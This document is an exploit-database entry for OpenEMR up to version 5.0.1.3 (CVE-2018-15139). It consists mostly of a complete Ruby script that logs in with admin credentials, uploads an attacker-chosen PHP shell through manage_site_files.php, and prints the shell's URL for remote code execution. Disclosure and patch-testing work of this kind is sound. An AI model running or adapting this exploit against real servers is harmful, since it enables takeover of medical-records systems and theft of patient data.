OpenEMR 5.0.1.3 – ‘manage_site_files’ Remote Code Execution (Authenticated) (2)
# Title: OpenEMR 5.0.1.3 - 'manage_site_files' Remote Code Execution (Authenticated) (2) # Exploit author: noraj (Alexandre ZANNI) for SEC-IT (http://secit.fr) # Date: 2021-07-05 # Vendor Homepage: https://www.open-emr.org/ # Software Link: https://github.com/openemr/openemr/archive/v5_0_1_3.tar.gz # Docker PoC: https://github.com/sec-it/exploit-CVE-2018-15139/blob/master/docker-compose.yml # Version: < 5.0.1.4 (it means up to 5.0.1.3) # Tested on: OpenEMR Version 5.0.0.8 # References: https://www.exploit-db.com/exploits/49998 # CVE: CVE-2018-15139 # CWE: CWE-434 # Patch: https://github.com/openemr/openemr/pull/1757/commits/c2808a0493243f618bbbb3459af23c7da3dc5485 #!/usr/bin/env ruby require 'pathname' require 'httpx' require 'http/form_data' require 'docopt' doc = <<~DOCOPT OpenEMR < 5.0.1.4 - (Authenticated) File upload - Remote command execution Source: https://github.com/sec-it/exploit-CVE-2019-14530 Usage: #{__FILE__} exploit <url> <filename> <username> <password> [--debug] #{__FILE__} -h | --help Options: <url> Root URL (base path) including HTTP scheme, port and root folder <filename> Filename of the shell to be uploaded <username> Username of the admin <password> Password of the admin --debug Display arguments -h, --help Show this screen Examples: #{__FILE__} exploit http://example.org/openemr shell.php admin pass #{__FILE__} exploit https://example.org:5000/ shell.php admin pass DOCOPT def login(root_url, user, pass, http) vuln_url = "#{root_url}/interface/main/main_screen.php?auth=login&site=default" params = { 'new_login_session_management' => '1', 'authProvider' => 'Default', 'authUser' => user, 'clearPass' => pass, 'languageChoice' => '1' } http.post(vuln_url, form: params).body.to_s end def upload(root_url, filepath, http) vuln_url = "#{root_url}/interface/super/manage_site_files.php" pn = Pathname.new(filepath) params = { form_image: { content_type: 'application/x-php', filename: pn.basename.to_s, body: pn }, bn_save: 'Save' } res = http.post(vuln_url, form: params) return '[-] File not upload' unless (200..299).include?(res.status) "[+] File uploaded:\n#{root_url}/sites/default/images/#{pn.basename}" end begin args = Docopt.docopt(doc) pp args if args['--debug'] if args['exploit'] http = HTTPX.plugin(:cookies).plugin(:follow_redirects).plugin(:multipart) login(args['<url>'], args['<username>'], args['<password>'], http) puts upload(args['<url>'], args['<filename>'], http) end rescue Docopt::Exit => e puts e.message end |